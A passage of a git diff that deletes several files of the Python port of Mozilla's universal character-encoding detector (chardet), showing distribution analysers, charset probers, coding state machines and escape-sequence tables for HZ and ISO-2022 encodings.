-13920,13921,13922,13923,13924,13925,13926,13927,13928,13929,13930,13931,13932,13933,13934,13935, #13936 -13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951, #13952 -13952,13953,13954,13955,13956,13957,13958,13959,13960,13961,13962,13963,13964,13965,13966,13967, #13968 -13968,13969,13970,13971,13972) #13973 diff --git a/extra/chardet/chardistribution.py b/extra/chardet/chardistribution.py deleted file mode 100755 index 1f95fc84828..00000000000 --- a/extra/chardet/chardistribution.py +++ /dev/null @@ -1,200 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants -from euctwfreq import EUCTWCharToFreqOrder, EUCTW_TABLE_SIZE, EUCTW_TYPICAL_DISTRIBUTION_RATIO -from euckrfreq import EUCKRCharToFreqOrder, EUCKR_TABLE_SIZE, EUCKR_TYPICAL_DISTRIBUTION_RATIO -from gb2312freq import GB2312CharToFreqOrder, GB2312_TABLE_SIZE, GB2312_TYPICAL_DISTRIBUTION_RATIO -from big5freq import Big5CharToFreqOrder, BIG5_TABLE_SIZE, BIG5_TYPICAL_DISTRIBUTION_RATIO -from jisfreq import JISCharToFreqOrder, JIS_TABLE_SIZE, JIS_TYPICAL_DISTRIBUTION_RATIO - -ENOUGH_DATA_THRESHOLD = 1024 -SURE_YES = 0.99 -SURE_NO = 0.01 - -class CharDistributionAnalysis: - def __init__(self): - self._mCharToFreqOrder = None # Mapping table to get frequency order from char order (get from GetOrder()) - self._mTableSize = None # Size of above table - self._mTypicalDistributionRatio = None # This is a constant value which varies from language to language, used in calculating confidence. See http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html for further detail. - self.reset() - - def reset(self): - """reset analyser, clear any state""" - self._mDone = constants.False # If this flag is set to constants.True, detection is done and conclusion has been made - self._mTotalChars = 0 # Total characters encountered - self._mFreqChars = 0 # The number of characters whose frequency order is less than 512 - - def feed(self, aStr, aCharLen): - """feed a character with known length""" - if aCharLen == 2: - # we only care about 2-bytes character in our distribution analysis - order = self.get_order(aStr) - else: - order = -1 - if order >= 0: - self._mTotalChars += 1 - # order is valid - if order < self._mTableSize: - if 512 > self._mCharToFreqOrder[order]: - self._mFreqChars += 1 - - def get_confidence(self): - """return confidence based on existing data""" - # if we didn't receive any character in our consideration range, return negative answer - if self._mTotalChars <= 0: - return SURE_NO - - if self._mTotalChars != self._mFreqChars: - r = self._mFreqChars / ((self._mTotalChars - self._mFreqChars) * self._mTypicalDistributionRatio) - if r < SURE_YES: - return r - - # normalize confidence (we don't want to be 100% sure) - return SURE_YES - - def got_enough_data(self): - # It is not necessary to receive all data to draw conclusion. For charset detection, - # certain amount of data is enough - return self._mTotalChars > ENOUGH_DATA_THRESHOLD - - def get_order(self, aStr): - # We do not handle characters based on the original encoding string, but - # convert this encoding string to a number, here called order. - # This allows multiple encodings of a language to share one frequency table. - return -1 - -class EUCTWDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = EUCTWCharToFreqOrder - self._mTableSize = EUCTW_TABLE_SIZE - self._mTypicalDistributionRatio = EUCTW_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, aStr): - # for euc-TW encoding, we are interested - # first byte range: 0xc4 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - if aStr[0] >= '\xC4': - return 94 * (ord(aStr[0]) - 0xC4) + ord(aStr[1]) - 0xA1 - else: - return -1 - -class EUCKRDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = EUCKRCharToFreqOrder - self._mTableSize = EUCKR_TABLE_SIZE - self._mTypicalDistributionRatio = EUCKR_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, aStr): - # for euc-KR encoding, we are interested - # first byte range: 0xb0 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - if aStr[0] >= '\xB0': - return 94 * (ord(aStr[0]) - 0xB0) + ord(aStr[1]) - 0xA1 - else: - return -1; - -class GB2312DistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = GB2312CharToFreqOrder - self._mTableSize = GB2312_TABLE_SIZE - self._mTypicalDistributionRatio = GB2312_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, aStr): - # for GB2312 encoding, we are interested - # first byte range: 0xb0 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - if (aStr[0] >= '\xB0') and (aStr[1] >= '\xA1'): - return 94 * (ord(aStr[0]) - 0xB0) + ord(aStr[1]) - 0xA1 - else: - return -1; - -class Big5DistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = Big5CharToFreqOrder - self._mTableSize = BIG5_TABLE_SIZE - self._mTypicalDistributionRatio = BIG5_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, aStr): - # for big5 encoding, we are interested - # first byte range: 0xa4 -- 0xfe - # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe - # no validation needed here. State machine has done that - if aStr[0] >= '\xA4': - if aStr[1] >= '\xA1': - return 157 * (ord(aStr[0]) - 0xA4) + ord(aStr[1]) - 0xA1 + 63 - else: - return 157 * (ord(aStr[0]) - 0xA4) + ord(aStr[1]) - 0x40 - else: - return -1 - -class SJISDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = JISCharToFreqOrder - self._mTableSize = JIS_TABLE_SIZE - self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, aStr): - # for sjis encoding, we are interested - # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe - # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe - # no validation needed here. State machine has done that - if (aStr[0] >= '\x81') and (aStr[0] <= '\x9F'): - order = 188 * (ord(aStr[0]) - 0x81) - elif (aStr[0] >= '\xE0') and (aStr[0] <= '\xEF'): - order = 188 * (ord(aStr[0]) - 0xE0 + 31) - else: - return -1; - order = order + ord(aStr[1]) - 0x40 - if aStr[1] > '\x7F': - order =- 1 - return order - -class EUCJPDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - CharDistributionAnalysis.__init__(self) - self._mCharToFreqOrder = JISCharToFreqOrder - self._mTableSize = JIS_TABLE_SIZE - self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, aStr): - # for euc-JP encoding, we are interested - # first byte range: 0xa0 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - if aStr[0] >= '\xA0': - return 94 * (ord(aStr[0]) - 0xA1) + ord(aStr[1]) - 0xa1 - else: - return -1 diff --git a/extra/chardet/charsetgroupprober.py b/extra/chardet/charsetgroupprober.py deleted file mode 100755 index 9037af480dd..00000000000 --- a/extra/chardet/charsetgroupprober.py +++ /dev/null @@ -1,96 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants, sys -from charsetprober import CharSetProber - -class CharSetGroupProber(CharSetProber): - def __init__(self): - CharSetProber.__init__(self) - self._mActiveNum = 0 - self._mProbers = [] - self._mBestGuessProber = None - - def reset(self): - CharSetProber.reset(self) - self._mActiveNum = 0 - for prober in self._mProbers: - if prober: - prober.reset() - prober.active = constants.True - self._mActiveNum += 1 - self._mBestGuessProber = None - - def get_charset_name(self): - if not self._mBestGuessProber: - self.get_confidence() - if not self._mBestGuessProber: return None -# self._mBestGuessProber = self._mProbers[0] - return self._mBestGuessProber.get_charset_name() - - def feed(self, aBuf): - for prober in self._mProbers: - if not prober: continue - if not prober.active: continue - st = prober.feed(aBuf) - if not st: continue - if st == constants.eFoundIt: - self._mBestGuessProber = prober - return self.get_state() - elif st == constants.eNotMe: - prober.active = constants.False - self._mActiveNum -= 1 - if self._mActiveNum <= 0: - self._mState = constants.eNotMe - return self.get_state() - return self.get_state() - - def get_confidence(self): - st = self.get_state() - if st == constants.eFoundIt: - return 0.99 - elif st == constants.eNotMe: - return 0.01 - bestConf = 0.0 - self._mBestGuessProber = None - for prober in self._mProbers: - if not prober: continue - if not prober.active: - if constants._debug: - sys.stderr.write(prober.get_charset_name() + ' not active\n') - continue - cf = prober.get_confidence() - if constants._debug: - sys.stderr.write('%s confidence = %s\n' % (prober.get_charset_name(), cf)) - if bestConf < cf: - bestConf = cf - self._mBestGuessProber = prober - if not self._mBestGuessProber: return 0.0 - return bestConf -# else: -# self._mBestGuessProber = self._mProbers[0] -# return self._mBestGuessProber.get_confidence() diff --git a/extra/chardet/charsetprober.py b/extra/chardet/charsetprober.py deleted file mode 100755 index 6ad198cd47e..00000000000 --- a/extra/chardet/charsetprober.py +++ /dev/null @@ -1,60 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 2001 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants, re - -class CharSetProber: - def __init__(self): - pass - - def reset(self): - self._mState = constants.eDetecting - - def get_charset_name(self): - return None - - def feed(self, aBuf): - pass - - def get_state(self): - return self._mState - - def get_confidence(self): - return 0.0 - - def filter_high_bit_only(self, aBuf): - aBuf = re.sub(r'([\x00-\x7F])+', ' ', aBuf) - return aBuf - - def filter_without_english_letters(self, aBuf): - aBuf = re.sub(r'([A-Za-z])+', ' ', aBuf) - return aBuf - - def filter_with_english_letters(self, aBuf): - # TODO - return aBuf diff --git a/extra/chardet/codingstatemachine.py b/extra/chardet/codingstatemachine.py deleted file mode 100755 index 452d3b0a063..00000000000 --- a/extra/chardet/codingstatemachine.py +++ /dev/null @@ -1,56 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is mozilla.org code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -from constants import eStart, eError, eItsMe - -class CodingStateMachine: - def __init__(self, sm): - self._mModel = sm - self._mCurrentBytePos = 0 - self._mCurrentCharLen = 0 - self.reset() - - def reset(self): - self._mCurrentState = eStart - - def next_state(self, c): - # for each byte we get its class - # if it is first byte, we also get byte length - byteCls = self._mModel['classTable'][ord(c)] - if self._mCurrentState == eStart: - self._mCurrentBytePos = 0 - self._mCurrentCharLen = self._mModel['charLenTable'][byteCls] - # from byte's class and stateTable, we get its next state - self._mCurrentState = self._mModel['stateTable'][self._mCurrentState * self._mModel['classFactor'] + byteCls] - self._mCurrentBytePos += 1 - return self._mCurrentState - - def get_current_charlen(self): - return self._mCurrentCharLen - - def get_coding_state_machine(self): - return self._mModel['name'] diff --git a/extra/chardet/escprober.py b/extra/chardet/escprober.py deleted file mode 100755 index c2e979e7b90..00000000000 --- a/extra/chardet/escprober.py +++ /dev/null @@ -1,79 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is mozilla.org code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants, sys -from escsm import HZSMModel, ISO2022CNSMModel, ISO2022JPSMModel, ISO2022KRSMModel -from charsetprober import CharSetProber -from codingstatemachine import CodingStateMachine - -class EscCharSetProber(CharSetProber): - def __init__(self): - CharSetProber.__init__(self) - self._mCodingSM = [ \ - CodingStateMachine(HZSMModel), - CodingStateMachine(ISO2022CNSMModel), - CodingStateMachine(ISO2022JPSMModel), - CodingStateMachine(ISO2022KRSMModel) - ] - self.reset() - - def reset(self): - CharSetProber.reset(self) - for codingSM in self._mCodingSM: - if not codingSM: continue - codingSM.active = constants.True - codingSM.reset() - self._mActiveSM = len(self._mCodingSM) - self._mDetectedCharset = None - - def get_charset_name(self): - return self._mDetectedCharset - - def get_confidence(self): - if self._mDetectedCharset: - return 0.99 - else: - return 0.00 - - def feed(self, aBuf): - for c in aBuf: - for codingSM in self._mCodingSM: - if not codingSM: continue - if not codingSM.active: continue - codingState = codingSM.next_state(c) - if codingState == constants.eError: - codingSM.active = constants.False - self._mActiveSM -= 1 - if self._mActiveSM <= 0: - self._mState = constants.eNotMe - return self.get_state() - elif codingState == constants.eItsMe: - self._mState = constants.eFoundIt - self._mDetectedCharset = codingSM.get_coding_state_machine() - return self.get_state() - - return self.get_state() diff --git a/extra/chardet/escsm.py b/extra/chardet/escsm.py deleted file mode 100755 index 9fa22952e1c..00000000000 --- a/extra/chardet/escsm.py +++ /dev/null @@ -1,240 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is mozilla.org code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -from constants import eStart, eError, eItsMe - -HZ_cls = ( \ -1,0,0,0,0,0,0,0, # 00 - 07 -0,0,0,0,0,0,0,0, # 08 - 0f -0,0,0,0,0,0,0,0, # 10 - 17 -0,0,0,1,0,0,0,0, # 18 - 1f -0,0,0,0,0,0,0,0, # 20 - 27 -0,0,0,0,0,0,0,0, # 28 - 2f -0,0,0,0,0,0,0,0, # 30 - 37 -0,0,0,0,0,0,0,0, # 38 - 3f -0,0,0,0,0,0,0,0, # 40 - 47 -0,0,0,0,0,0,0,0, # 48 - 4f -0,0,0,0,0,0,0,0, # 50 - 57 -0,0,0,0,0,0,0,0, # 58 - 5f -0,0,0,0,0,0,0,0, # 60 - 67 -0,0,0,0,0,0,0,0, # 68 - 6f -0,0,0,0,0,0,0,0, # 70 - 77 -0,0,0,4,0,5,2,0, # 78 - 7f -1,1,1,1,1,1,1,1, # 80 - 87 -1,1,1,1,1,1,1,1, # 88 - 8f -1,1,1,1,1,1,1,1, # 90 - 97 -1,1,1,1,1,1,1,1, # 98 - 9f -1,1,1,1,1,1,1,1, # a0 - a7 -1,1,1,1,1,1,1,1, # a8 - af -1,1,1,1,1,1,1,1, # b0 - b7 -1,1,1,1,1,1,1,1, # b8 - bf -1,1,1,1,1,1,1,1, # c0 - c7 -1,1,1,1,1,1,1,1, # c8 - cf -1,1,1,1,1,1,1,1, # d0 - d7 -1,1,1,1,1,1,1,1, # d8 - df -1,1,1,1,1,1,1,1, # e0 - e7 -1,1,1,1,1,1,1,1, # e8 - ef -1,1,1,1,1,1,1,1, # f0 - f7 -1,1,1,1,1,1,1,1, # f8 - ff -) - -HZ_st = ( \ -eStart,eError, 3,eStart,eStart,eStart,eError,eError,# 00-07 -eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f -eItsMe,eItsMe,eError,eError,eStart,eStart, 4,eError,# 10-17 - 5,eError, 6,eError, 5, 5, 4,eError,# 18-1f - 4,eError, 4, 4, 4,eError, 4,eError,# 20-27 - 4,eItsMe,eStart,eStart,eStart,eStart,eStart,eStart,# 28-2f -) - -HZCharLenTable = (0, 0, 0, 0, 0, 0) - -HZSMModel = {'classTable': HZ_cls, - 'classFactor': 6, - 'stateTable': HZ_st, - 'charLenTable': HZCharLenTable, - 'name': "HZ-GB-2312"} - -ISO2022CN_cls = ( \ -2,0,0,0,0,0,0,0, # 00 - 07 -0,0,0,0,0,0,0,0, # 08 - 0f -0,0,0,0,0,0,0,0, # 10 - 17 -0,0,0,1,0,0,0,0, # 18 - 1f -0,0,0,0,0,0,0,0, # 20 - 27 -0,3,0,0,0,0,0,0, # 28 - 2f -0,0,0,0,0,0,0,0, # 30 - 37 -0,0,0,0,0,0,0,0, # 38 - 3f -0,0,0,4,0,0,0,0, # 40 - 47 -0,0,0,0,0,0,0,0, # 48 - 4f -0,0,0,0,0,0,0,0, # 50 - 57 -0,0,0,0,0,0,0,0, # 58 - 5f -0,0,0,0,0,0,0,0, # 60 - 67 -0,0,0,0,0,0,0,0, # 68 - 6f -0,0,0,0,0,0,0,0, # 70 - 77 -0,0,0,0,0,0,0,0, # 78 - 7f -2,2,2,2,2,2,2,2, # 80 - 87 -2,2,2,2,2,2,2,2, # 88 - 8f -2,2,2,2,2,2,2,2, # 90 - 97 -2,2,2,2,2,2,2,2, # 98 - 9f -2,2,2,2,2,2,2,2, # a0 - a7 -2,2,2,2,2,2,2,2, # a8 - af -2,2,2,2,2,2,2,2, # b0 - b7 -2,2,2,2,2,2,2,2, # b8 - bf -2,2,2,2,2,2,2,2, # c0 - c7 -2,2,2,2,2,2,2,2, # c8 - cf -2,2,2,2,2,2,2,2, # d0 - d7 -2,2,2,2,2,2,2,2, # d8 - df -2,2,2,2,2,2,2,2, # e0 - e7 -2,2,2,2,2,2,2,2, # e8 - ef -2,2,2,2,2,2,2,2, # f0 - f7 -2,2,2,2,2,2,2,2, # f8 - ff -) - -ISO2022CN_st = ( \ -eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 -eStart,eError,eError,eError,eError,eError,eError,eError,# 08-0f -eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 -eItsMe,eItsMe,eItsMe,eError,eError,eError, 4,eError,# 18-1f -eError,eError,eError,eItsMe,eError,eError,eError,eError,# 20-27 - 5, 6,eError,eError,eError,eError,eError,eError,# 28-2f -eError,eError,eError,eItsMe,eError,eError,eError,eError,# 30-37 -eError,eError,eError,eError,eError,eItsMe,eError,eStart,# 38-3f -) - -ISO2022CNCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0) - -ISO2022CNSMModel = {'classTable': ISO2022CN_cls, - 'classFactor': 9, - 'stateTable': ISO2022CN_st, - 'charLenTable': ISO2022CNCharLenTable, - 'name': "ISO-2022-CN"} - -ISO2022JP_cls = ( \ -2,0,0,0,0,0,0,0, # 00 - 07 -0,0,0,0,0,0,2,2, # 08 - 0f -0,0,0,0,0,0,0,0, # 10 - 17 -0,0,0,1,0,0,0,0, # 18 - 1f -0,0,0,0,7,0,0,0, # 20 - 27 -3,0,0,0,0,0,0,0, # 28 - 2f -0,0,0,0,0,0,0,0, # 30 - 37 -0,0,0,0,0,0,0,0, # 38 - 3f -6,0,4,0,8,0,0,0, # 40 - 47 -0,9,5,0,0,0,0,0, # 48 - 4f -0,0,0,0,0,0,0,0, # 50 - 57 -0,0,0,0,0,0,0,0, # 58 - 5f -0,0,0,0,0,0,0,0, # 60 - 67 -0,0,0,0,0,0,0,0, # 68 - 6f -0,0,0,0,0,0,0,0, # 70 - 77 -0,0,0,0,0,0,0,0, # 78 - 7f -2,2,2,2,2,2,2,2, # 80 - 87 -2,2,2,2,2,2,2,2, # 88 - 8f -2,2,2,2,2,2,2,2, # 90 - 97 -2,2,2,2,2,2,2,2, # 98 - 9f -2,2,2,2,2,2,2,2, # a0 - a7 -2,2,2,2,2,2,2,2, # a8 - af -2,2,2,2,2,2,2,2, # b0 - b7 -2,2,2,2,2,2,2,2, # b8 - bf -2,2,2,2,2,2,2,2, # c0 - c7 -2,2,2,2,2,2,2,2, # c8 - cf -2,2,2,2,2,2,2,2, # d0 - d7 -2,2,2,2,2,2,2,2, # d8 - df -2,2,2,2,2,2,2,2, # e0 - e7 -2,2,2,2,2,2,2,2, # e8 - ef -2,2,2,2,2,2,2,2, # f0 - f7 -2,2,2,2,2,2,2,2, # f8 - ff -) - -ISO2022JP_st = ( \ -eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 -eStart,eStart,eError,eError,eError,eError,eError,eError,# 08-0f -eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 -eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,# 18-1f -eError, 5,eError,eError,eError, 4,eError,eError,# 20-27 -eError,eError,eError, 6,eItsMe,eError,eItsMe,eError,# 28-2f -eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,# 30-37 -eError,eError,eError,eItsMe,eError,eError,eError,eError,# 38-3f -eError,eError,eError,eError,eItsMe,eError,eStart,eStart,# 40-47 -) - -ISO2022JPCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) - -ISO2022JPSMModel = {'classTable': ISO2022JP_cls, - 'classFactor': 10, - 'stateTable': ISO2022JP_st, - 'charLenTable': ISO2022JPCharLenTable, - 'name': "ISO-2022-JP"} - -ISO2022KR_cls = ( \ -2,0,0,0,0,0,0,0, # 00 - 07 -0,0,0,0,0,0,0,0, # 08 - 0f -0,0,0,0,0,0,0,0, # 10 - 17 -0,0,0,1,0,0,0,0, # 18 - 1f -0,0,0,0,3,0,0,0, # 20 - 27 -0,4,0,0,0,0,0,0, # 28 - 2f -0,0,0,0,0,0,0,0, # 30 - 37 -0,0,0,0,0,0,0,0, # 38 - 3f -0,0,0,5,0,0,0,0, # 40 - 47 -0,0,0,0,0,0,0,0, # 48 - 4f -0,0,0,0,0,0,0,0, # 50 - 57 -0,0,0,0,0,0,0,0, # 58 - 5f -0,0,0,0,0,0,0,0, # 60 - 67 -0,0,0,0,0,0,0,0, # 68 - 6f -0,0,0,0,0,0,0,0, # 70 - 77 -0,0,0,0,0,0,0,0, # 78 - 7f -2,2,2,2,2,2,2,2, # 80 - 87 -2,2,2,2,2,2,2,2, # 88 - 8f -2,2,2,2,2,2,2,2, # 90 - 97 -2,2,2,2,2,2,2,2, # 98 - 9f -2,2,2,2,2,2,2,2, # a0 - a7 -2,2,2,2,2,2,2,2, # a8 - af -2,2,2,2,2,2,2,2, # b0 - b7 -2,2,2,2,2,2,2,2, # b8 - bf -2,2,2,2,2,2,2,2, # c0 - c7 -2,2,2,2,2,2,2,2, # c8 - cf -2,2,2,2,2,2,2,2, # d0 - d7 -2,2,2,2,2,2,2,2, # d8 - df -2,2,2,2,2,2,2,2, # e0 - e7 -2,2,2,2,2,2,2,2, # e8 - ef -2,2,2,2,2,2,2,2, # f0 - f7 -2,2,2,2,2,2,2,2, # f8 - ff -) - -ISO2022KR_st = ( \ -eStart, 3,eError,eStart,eStart,eStart,eError,eError,# 00-07 -eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f -eItsMe,eItsMe,eError,eError,eError, 4,eError,eError,# 10-17 -eError,eError,eError,eError, 5,eError,eError,eError,# 18-1f -eError,eError,eError,eItsMe,eStart,eStart,eStart,eStart,# 20-27 -) - -ISO2022KRCharLenTable = (0, 0, 0, 0, 0, 0) - -ISO2022KRSMModel = {'classTable': ISO2022KR_cls, - 'classFactor': 6, - 'stateTable': ISO2022KR_st, - 'charLenTable': ISO2022KRCharLenTable, - 'name': "ISO-2022-KR"} diff --git a/extra/chardet/eucjpprober.py b/extra/chardet/eucjpprober.py deleted file mode 100755 index faa5cb58df0..00000000000 --- a/extra/chardet/eucjpprober.py +++ /dev/null @@ -1,85 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is mozilla.org code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -import constants, sys -from constants import eStart, eError, eItsMe -from mbcharsetprober import MultiByteCharSetProber -from codingstatemachine import CodingStateMachine -from chardistribution import EUCJPDistributionAnalysis -from jpcntx import EUCJPContextAnalysis -from mbcssm import EUCJPSMModel - -class EUCJPProber(MultiByteCharSetProber): - def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(EUCJPSMModel) - self._mDistributionAnalyzer = EUCJPDistributionAnalysis() - self._mContextAnalyzer = EUCJPContextAnalysis() - self.reset() - - def reset(self): - MultiByteCharSetProber.reset(self) - self._mContextAnalyzer.reset() - - def get_charset_name(self): - return "EUC-JP" - - def feed(self, aBuf): - aLen = len(aBuf) - for i in xrange(0, aLen): - codingState = self._mCodingSM.next_state(aBuf[i]) - if codingState == eError: - if constants._debug: - sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') - self._mState = constants.eNotMe - break - elif codingState == eItsMe: - self._mState = constants.eFoundIt - break - elif codingState == eStart: - charLen = self._mCodingSM.get_current_charlen() - if i == 0: - self._mLastChar[1] = aBuf[0] - self._mContextAnalyzer.feed(self._mLastChar, charLen) - self._mDistributionAnalyzer.feed(self._mLastChar, charLen) - else: - self._mContextAnalyzer.feed(aBuf[i-1:i+1], charLen) - self._mDistributionAnalyzer.feed(aBuf[i-1:i+1], charLen) - - self._mLastChar[0] = aBuf[aLen - 1] - - if self.get_state() == constants.eDetecting: - if self._mContextAnalyzer.got_enough_data() and \ - (self.get_confidence() > constants.SHORTCUT_THRESHOLD): - self._mState = constants.eFoundIt - - return self.get_state() - - def get_confidence(self): - contxtCf = self._mContextAnalyzer.get_confidence() - distribCf = self._mDistributionAnalyzer.get_confidence() - return max(contxtCf, distribCf) diff --git a/extra/chardet/euckrfreq.py b/extra/chardet/euckrfreq.py deleted file mode 100755 index 